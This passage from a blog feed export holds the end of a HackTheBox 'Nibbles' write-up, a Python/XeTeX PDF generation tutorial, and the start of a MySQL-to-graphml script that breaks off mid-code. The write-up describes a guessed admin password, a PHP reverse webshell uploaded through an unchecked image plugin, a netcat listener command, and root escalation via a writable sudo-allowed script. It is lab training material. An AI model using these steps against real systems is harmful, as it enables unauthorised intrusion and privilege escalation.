class=\"nt\">&lt;session_fail_count<\/span><span class=\"w\"> <\/span><span class=\"na\">type=<\/span><span class=\"s\">&quot;integer&quot;<\/span><span class=\"nt\">&gt;<\/span>0<span class=\"nt\">&lt;\/session_fail_count&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;session_date<\/span><span class=\"w\"> <\/span><span class=\"na\">type=<\/span><span class=\"s\">&quot;integer&quot;<\/span><span class=\"nt\">&gt;<\/span>1519673845<span class=\"nt\">&lt;\/session_date&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;\/user&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;blacklist<\/span><span class=\"w\"> <\/span><span class=\"na\">type=<\/span><span class=\"s\">&quot;string&quot;<\/span><span class=\"w\"> <\/span><span class=\"na\">ip=<\/span><span class=\"s\">&quot;10.10.10.1&quot;<\/span><span class=\"nt\">&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;date<\/span><span class=\"w\"> <\/span><span class=\"na\">type=<\/span><span class=\"s\">&quot;integer&quot;<\/span><span class=\"nt\">&gt;<\/span>1512964659<span class=\"nt\">&lt;\/date&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;fail_count<\/span><span class=\"w\"> <\/span><span class=\"na\">type=<\/span><span class=\"s\">&quot;integer&quot;<\/span><span class=\"nt\">&gt;<\/span>1<span class=\"nt\">&lt;\/fail_count&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;\/blacklist&gt;<\/span>\n<span class=\"w\">    <\/span>...\n<span class=\"nt\">&lt;\/users&gt;<\/span>\n<\/code><\/pre><\/div>\n\n<p>We now know that there is a user admin. We also learned that a blocklist is used, which apparently prevents brute-force attacks on the login panel. Other XML files deliver exciting data such as author names and mail addresses, but none of this data can be used to escalate our privileges in the system at hand. The data gets noted down (for later use in case we get desperate), and we continue. After some trial and error, we stumble on another interesting directory: <code>\/admin\/<\/code>.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-5\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1992171821.png\" data-pswp-width=\"497\" data-pswp-height=\"368\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1992171821.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Looking through the code, we try to keep an eye out for anything regarding authentication, because our immediate goal is gaining access to the backend. In the login controller, we find the following code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"x\">&lt;a href=&quot;&#39;.HTML_PATH_ROOT.&#39;admin.php?controller=user&amp;action=send_forgot&quot;&gt;&#39;.$_LANG[&#39;FORGOT_PASSWORD&#39;].&#39;&lt;\/a&gt;&#39;);<\/span>\n<\/code><\/pre><\/div>\n\n<p>This leads us to the <code>admin.php<\/code> file.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-6\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1174725683.png\" data-pswp-width=\"614\" data-pswp-height=\"334\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1174725683.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Great! From the <code>users.xml<\/code> file we already know that there is a user called admin. Bruteforce is out of the question because of the apparent blocklist, but surprise surprise, our first password guess, <code>nibbles<\/code>, Lets us into the backend.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-7\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/817327426.png\" data-pswp-width=\"1058\" data-pswp-height=\"644\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/817327426.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>We can also see the futile login attempts of other users on this instance. Browsing around, a notable plugin is the file upload in the image module.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-8\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1935705407.png\" data-pswp-width=\"1075\" data-pswp-height=\"397\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1935705407.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The direct line of thought is to upload a webshell and gain server-level privileges on the target. To try out this hypothesis, we use one of Kali's default webshells located under <code>\/usr\/share\/webshells\/php\/<\/code>. Specifically, we want a reverse connection if any other HTB user manages to get server access and decides to be funny and delete our files.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-9\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/297254721.png\" data-pswp-width=\"410\" data-pswp-height=\"196\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/297254721.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The upload works nicely, and apparently, there are no file header or even basic extension checks in place. This means we can start our listener with <code>nc -vlnp 49387<\/code> and navigate to <code>http:\/\/10.10.10.75\/nibbleblog\/content\/private\/plugins\/my_image\/image.php<\/code> to trigger our reverse shell. This gives us server-level privileges as the <code>nibbler<\/code> user on the host machine:<\/p>\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-10\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1713163671.png\" data-pswp-width=\"1091\" data-pswp-height=\"184\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1713163671.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1112613588.png\" data-pswp-width=\"337\" data-pswp-height=\"46\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1112613588.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>In the user's home directory, we find an exciting archive as well:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-11\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1529892635.png\" data-pswp-width=\"393\" data-pswp-height=\"193\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1529892635.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Of course, the monitor script is of interest here. It contains some commands surfacing system information:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-12\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1726806268.png\" data-pswp-width=\"801\" data-pswp-height=\"438\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1726806268.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>A quick check with <code>sudo -l<\/code> shows that the exact path the extracted script is under has generic sudo permissions. Checking the permissions on the monitor.sh file shows that we can write to it! This effectively gives us the ability to execute arbitrary commands as the root user, and quickly append <code>cat \/root\/root.txt<\/code> to the end of the file and run it with <code>sudo personal\/stuff\/monitor.sh<\/code> provides us with the root flag.<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"Quick Hack: Generating PDFs with Python and XeTeX","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/01\/10\/quick-hack-generating-pdfs-with-python-and-xetex.html","rel":"alternate"}},"published":"2018-01-10T00:00:00+01:00","updated":"2018-01-10T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-01-10:\/2018\/01\/10\/quick-hack-generating-pdfs-with-python-and-xetex.html","summary":"<p>A friend of mine is following a PhD in a non-technical field. And his boss is a bully. Work mainly happens with high-level statistical analysis tools. No one knows anything about programming and most problems are solved by hand. While on a positive note this means good chances to get \u2026<\/p>","content":"<p>A friend of mine is following a PhD in a non-technical field. And his boss is a bully. Work mainly happens with high-level statistical analysis tools. No one knows anything about programming and most problems are solved by hand. While on a positive note this means good chances to get a student job, it also means that progress moves slowly, especially when it comes to working with large datasets.<\/p>\n<p>Due to some kind of disorder related to social dominance, his boss regularly gives him harassing tasks. The ones that would take two students a month to complete - with a deadline set for the day after tomorrow. Obviously, this is impossible to complete if you don't know how to automate the task. That's where I come in - and boy was it satisfying to own his boss.<\/p>\n<p>To maintain his anonymity, I will not show direct samples of the dataset or mention the use-case of it. Just be assured that it took a fuckton of sanitization work to bring it into a decent format that can easily be processed. The main idea here is that we parse the relevant data, render it onto a XeTeX template and save the rendered file on the disk to later render it into a PDF using <code>xelatex<\/code>.<\/p>\n<p>First of all the template:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">\\documentclass<\/span><span class=\"na\">[a4paper]<\/span><span class=\"nb\">{<\/span>article<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"na\">[margin=0.5in]<\/span><span class=\"nb\">{<\/span>geometry<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"na\">[utf8]<\/span><span class=\"nb\">{<\/span>inputenc<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"na\">[T1]<\/span><span class=\"nb\">{<\/span>fontenc<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"na\">[justification=centering]<\/span><span class=\"nb\">{<\/span>caption<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"nb\">{<\/span>longtable<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"nb\">{<\/span>tabu<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"nb\">{<\/span>microtype<span class=\"nb\">}<\/span>\n<span class=\"k\">\\usepackage<\/span><span class=\"nb\">{<\/span>pdflscape<span class=\"nb\">}<\/span>\n\n<span class=\"k\">\\pagenumbering<\/span><span class=\"nb\">{<\/span>gobble<span class=\"nb\">}<\/span>\n<span class=\"k\">\\tabulinesep<\/span>=3pt\n\n<span class=\"k\">\\begin<\/span><span class=\"nb\">{<\/span>document<span class=\"nb\">}<\/span>\n<span class=\"k\">\\begin<\/span><span class=\"nb\">{<\/span>landscape<span class=\"nb\">}<\/span>\n<span class=\"k\">\\begin<\/span><span class=\"nb\">{<\/span>table<span class=\"nb\">}<\/span>[h]\n<span class=\"k\">\\centering<\/span>\n<span class=\"k\">\\begin<\/span><span class=\"nb\">{<\/span>tabular<span class=\"nb\">}{<\/span>|c|c|c|<span class=\"nb\">}<\/span>\n<span class=\"k\">\\hline<\/span>\n<span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 1<span class=\"nb\">}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 2<span class=\"nb\">}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 3<span class=\"nb\">}<\/span> <span class=\"k\">\\\\<\/span> <span class=\"k\">\\hline<\/span>\n<span class=\"s\">$<\/span><span class=\"nb\">table<\/span><span class=\"m\">1<\/span>\n<span class=\"nv\">\\end<\/span><span class=\"nb\">{tabular}<\/span>\n<span class=\"nv\">\\end<\/span><span class=\"nb\">{table}<\/span>\n\n<span class=\"nv\">\\section<\/span><span class=\"nb\">{Table <\/span><span class=\"m\">2<\/span><span class=\"nb\">}<\/span>\n<span class=\"nv\">\\begin<\/span><span class=\"nb\">{table}<\/span><span class=\"o\">[<\/span><span class=\"nb\">h<\/span><span class=\"o\">]<\/span>\n<span class=\"nv\">\\centering<\/span>\n<span class=\"nv\">\\begin<\/span><span class=\"nb\">{tabular}{|c|c|c|c|c|}<\/span>\n<span class=\"nv\">\\hline<\/span>\n<span class=\"nv\">\\textbf<\/span><span class=\"nb\">{Column <\/span><span class=\"m\">1<\/span><span class=\"nb\">} &amp; <\/span><span class=\"nv\">\\textbf<\/span><span class=\"nb\">{Column <\/span><span class=\"m\">2<\/span><span class=\"nb\">} &amp; <\/span><span class=\"nv\">\\textbf<\/span><span class=\"nb\">{Column <\/span><span class=\"m\">3<\/span><span class=\"nb\">} &amp; <\/span><span class=\"nv\">\\textbf<\/span><span class=\"nb\">{Column <\/span><span class=\"m\">4<\/span><span class=\"nb\">} &amp; <\/span><span class=\"nv\">\\textbf<\/span><span class=\"nb\">{Column <\/span><span class=\"m\">5<\/span><span class=\"nb\">} <\/span><span class=\"nv\">\\\\<\/span><span class=\"nb\"> <\/span><span class=\"nv\">\\hline<\/span>\n<span class=\"m\">1<\/span><span class=\"nb\"> &amp; <\/span><span class=\"s\">$<\/span>t2<span class=\"nb\">_<\/span>row1 <span class=\"k\">\\\\<\/span> <span class=\"k\">\\hline<\/span>\n2 <span class=\"nb\">&amp;<\/span> <span class=\"s\">$<\/span><span class=\"nb\">t<\/span><span class=\"m\">2<\/span><span class=\"nb\">_row<\/span><span class=\"m\">2<\/span><span class=\"nb\"> <\/span><span class=\"nv\">\\\\<\/span><span class=\"nb\"> <\/span><span class=\"nv\">\\hline<\/span>\n<span class=\"m\">3<\/span><span class=\"nb\"> &amp; <\/span><span class=\"s\">$<\/span>t2<span class=\"nb\">_<\/span>row3 <span class=\"k\">\\\\<\/span> <span class=\"k\">\\hline<\/span>\n<span class=\"k\">\\end<\/span><span class=\"nb\">{<\/span>tabular<span class=\"nb\">}<\/span>\n<span class=\"k\">\\caption<\/span><span class=\"nb\">{<\/span>Table 2 caption<span class=\"nb\">}<\/span>\n<span class=\"k\">\\end<\/span><span class=\"nb\">{<\/span>table<span class=\"nb\">}<\/span>\n\n<span class=\"k\">\\section<\/span><span class=\"nb\">{<\/span>Table 3<span class=\"nb\">}<\/span>\n<span class=\"k\">\\begin<\/span><span class=\"nb\">{<\/span>longtabu<span class=\"nb\">}<\/span> to <span class=\"k\">\\textwidth<\/span> <span class=\"nb\">{<\/span>|X[1,c]|X[5,c]|X[1,c]|X[1,c]|X[1,c]|X[1,c]|<span class=\"nb\">}<\/span> <span class=\"k\">\\hline<\/span>\n<span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 1<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 2<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 3<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 4<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 5<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 6<span class=\"nb\">}}<\/span> <span class=\"k\">\\\\<\/span> <span class=\"k\">\\hline<\/span>\n<span class=\"k\">\\endfirsthead<\/span>\n\n<span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>6<span class=\"nb\">}{<\/span>c<span class=\"nb\">}<\/span><span class=\"c\">%<\/span>\n<span class=\"nb\">{{<\/span><span class=\"k\">\\bfseries<\/span> <span class=\"k\">\\tablename\\<\/span> <span class=\"k\">\\thetable<\/span><span class=\"nb\">{}<\/span> -- continued<span class=\"nb\">}}<\/span> <span class=\"k\">\\\\<\/span>\n<span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 1<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 2<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 3<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 4<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 5<span class=\"nb\">}}<\/span> <span class=\"nb\">&amp;<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>1<span class=\"nb\">}{<\/span>|c|<span class=\"nb\">}{<\/span><span class=\"k\">\\textbf<\/span><span class=\"nb\">{<\/span>Column 6<span class=\"nb\">}}<\/span> <span class=\"k\">\\\\<\/span> <span class=\"k\">\\hline<\/span>\n<span class=\"k\">\\endhead<\/span>\n\n<span class=\"k\">\\hline<\/span> <span class=\"k\">\\multicolumn<\/span><span class=\"nb\">{<\/span>6<span class=\"nb\">}{<\/span>|r|<span class=\"nb\">}{{<\/span>Continue on the next page<span class=\"nb\">}}<\/span> <span class=\"k\">\\\\<\/span> <span class=\"k\">\\hline<\/span>\n<span class=\"k\">\\endfoot<\/span>\n\n<span class=\"k\">\\endlastfoot<\/span>\n\n<span class=\"s\">$<\/span><span class=\"nb\">table<\/span><span class=\"m\">3<\/span>\n\n<span class=\"nv\">\\caption<\/span><span class=\"nb\">{Table <\/span><span class=\"m\">3<\/span><span class=\"nb\"> caption}<\/span>\n<span class=\"nv\">\\end<\/span><span class=\"nb\">{longtabu}<\/span>\n<span class=\"nv\">\\end<\/span><span class=\"nb\">{landscape}<\/span>\n<\/code><\/pre><\/div>\n\n<p>So we will render our data on a landscape A4 page in three tables. With the help of the <code>longtabu<\/code> package we can break tables on page break and continue them on the next page. You will notice some uncommon variables such as <code>$table1<\/code> or <code>$t2_row1<\/code>. These are placeholders for Python's <code>string.Template<\/code> object, which allows you to do simple substitutions in strings. Example:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]:<\/span> <span class=\"kn\">from<\/span> <span class=\"nn\">string<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Template<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">]:<\/span> <span class=\"n\">t<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Template<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;This is a $tmpl_type template&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">]:<\/span> <span class=\"n\">t<\/span><span class=\"o\">.<\/span><span class=\"n\">substitute<\/span><span class=\"p\">(<\/span><span class=\"n\">tmpl_type<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;sample&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">]:<\/span> <span class=\"s1\">&#39;This is a sample template&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>With our substitution variables set, we just have to parse the dataset, sanitize all format fuckups, and bring it into the XeTeX table line format. For that we can easily provide line templates for each of the three tables<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">T1_LINE<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;<\/span><span class=\"si\">{col_1}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col2}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_3}<\/span><span class=\"s2\"> <\/span><span class=\"se\">\\\\\\\\<\/span><span class=\"s2\"> <\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">hline&quot;<\/span>\n<span class=\"n\">T2_LINE<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;<\/span><span class=\"si\">{col_1}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_2}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_3}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_4}<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"n\">T3_LINE<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;<\/span><span class=\"si\">{col_1}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_2}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_3}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_4}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_5}<\/span><span class=\"s2\"> &amp; <\/span><span class=\"si\">{col_6}<\/span><span class=\"s2\"> <\/span><span class=\"se\">\\\\\\\\<\/span><span class=\"s2\"> <\/span><span class=\"se\">\\\\<\/span><span class=\"s2\">hline&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Don't forget to escape the backslashes. Ugly, I know, but XeTeX needs double backslashes for manual line breaks. Now after sanitization, we replace some special table characters, and simply generate our table rows like this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">t3_rows<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[]<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">cat<\/span><span class=\"p\">,<\/span> <span class=\"n\">cat_data<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">part<\/span><span class=\"o\">.<\/span><span class=\"n\">data<\/span><span class=\"o\">.<\/span><span class=\"n\">items<\/span><span class=\"p\">():<\/span>\n    <span class=\"n\">text<\/span> <span class=\"o\">=<\/span> <span class=\"n\">content<\/span><span class=\"p\">[<\/span><span class=\"n\">cat<\/span><span class=\"o\">.<\/span><span class=\"n\">upper<\/span><span class=\"p\">()]<\/span><span class=\"o\">.<\/span><span class=\"n\">replace<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;&amp;&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;<\/span><span class=\"se\">\\\\<\/span><span class=\"s1\">&amp;&#39;<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">t3_rows<\/span><span class=\"o\">.<\/span><span class=\"n\">append<\/span><span class=\"p\">(<\/span><span class=\"n\">T3_LINE<\/span><span class=\"o\">.<\/span><span class=\"n\">format<\/span><span class=\"p\">(<\/span>\n        <span class=\"n\">col_1<\/span><span class=\"o\">=<\/span><span class=\"n\">cat<\/span><span class=\"o\">.<\/span><span class=\"n\">upper<\/span><span class=\"p\">(),<\/span>\n        <span class=\"n\">col_2<\/span><span class=\"o\">=<\/span><span class=\"n\">text<\/span><span class=\"p\">,<\/span>\n        <span class=\"n\">col_3<\/span><span class=\"o\">=<\/span><span class=\"n\">cat_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">],<\/span>\n        <span class=\"n\">col_4<\/span><span class=\"o\">=<\/span><span class=\"n\">cat_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">],<\/span>\n        <span class=\"n\">col_5<\/span><span class=\"o\">=<\/span><span class=\"n\">cat_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">],<\/span>\n        <span class=\"n\">col_6<\/span><span class=\"o\">=<\/span><span class=\"n\">cat_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">3<\/span><span class=\"p\">],<\/span>\n    <span class=\"p\">))<\/span>\n<\/code><\/pre><\/div>\n\n<p>All that's left now is to do the substitution on the template file and save it to the output directory:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"n\">output_filename<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;w&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">outfile<\/span><span class=\"p\">:<\/span>\n    <span class=\"n\">output<\/span> <span class=\"o\">=<\/span> <span class=\"n\">p_template<\/span><span class=\"o\">.<\/span><span class=\"n\">substitute<\/span><span class=\"p\">(<\/span>\n        <span class=\"n\">table1<\/span><span class=\"o\">=<\/span><span class=\"n\">table1<\/span><span class=\"p\">,<\/span>\n        <span class=\"n\">t2_row1<\/span><span class=\"o\">=<\/span><span class=\"n\">t2_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">],<\/span>\n        <span class=\"n\">t2_row2<\/span><span class=\"o\">=<\/span><span class=\"n\">t2_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">],<\/span>\n        <span class=\"n\">t2_row3<\/span><span class=\"o\">=<\/span><span class=\"n\">t2_data<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">],<\/span>\n        <span class=\"n\">table3<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\n<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">.<\/span><span class=\"n\">join<\/span><span class=\"p\">(<\/span><span class=\"n\">t3_rows<\/span><span class=\"p\">)<\/span>\n    <span class=\"p\">)<\/span>\n    <span class=\"n\">outfile<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"n\">output<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>In my case this resulted in 146 <code>.tex<\/code> files. In the output directory I just had to call <code>xelatex *.tex<\/code>, wait 5 minutes, and done! Due to the dataset's size, this resulted in roughly 500 pages or output. Impossible to do by hand. Said friend went to the office, printed all of the tables (using recycling paper, of course!) and put the stack on the professor's table. Owned. And boy, do those tables look pretty!<\/p>\n<p>A little extra: The shell command I used to determine how many PDF pages were generated in the output directory:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">for<\/span><span class=\"w\"> <\/span>file<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>results\/*.pdf<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>pdfinfo<span class=\"w\"> <\/span><span class=\"nv\">$file<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>Pages<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>awk<span class=\"w\"> <\/span><span class=\"s1\">&#39;{print $2}&#39;<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">done<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>awk<span class=\"w\"> <\/span><span class=\"s1\">&#39;{s+=$1} END {print s}&#39;<\/span>\n<\/code><\/pre><\/div>","category":{"@attributes":{"term":"Software"}}},{"title":"Converting MySQL Table Data to a Graphml File","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2017\/06\/03\/converting-mysql-table-data-to-a-graphml-file.html","rel":"alternate"}},"published":"2017-06-03T00:00:00+02:00","updated":"2017-06-03T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2017-06-03:\/2017\/06\/03\/converting-mysql-table-data-to-a-graphml-file.html","summary":"<p>I recently found myself in the situation where I was given access to a huge MySQL database that contained network traffic flows and IDS signature match data. As I work a lot with graph-based approaches, I needed to convert the table's flow data into a graphml file for later visualization \u2026<\/p>","content":"<p>I recently found myself in the situation where I was given access to a huge MySQL database that contained network traffic flows and IDS signature match data. As I work a lot with graph-based approaches, I needed to convert the table's flow data into a graphml file for later visualization and analysis with scripts I have already written. Now without further ado here's the code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">pymysql.cursors<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">pymysql<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">networkx<\/span> <span class=\"k\">as<\/span> <span class=\"nn\">nx<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">sys<\/span>\n\n\n<span class=\"c1\"># Connect to the database<\/span>\n<span class=\"n\">conn<\/span> <span class=\"o\">=<\/span> <span class=\"n\">pymysql<\/span><span class=\"o\">.<\/span><span class=\"n\">connect<\/span><span class=\"p\">(<\/span>\n    <span class=\"n\">host<\/span><span 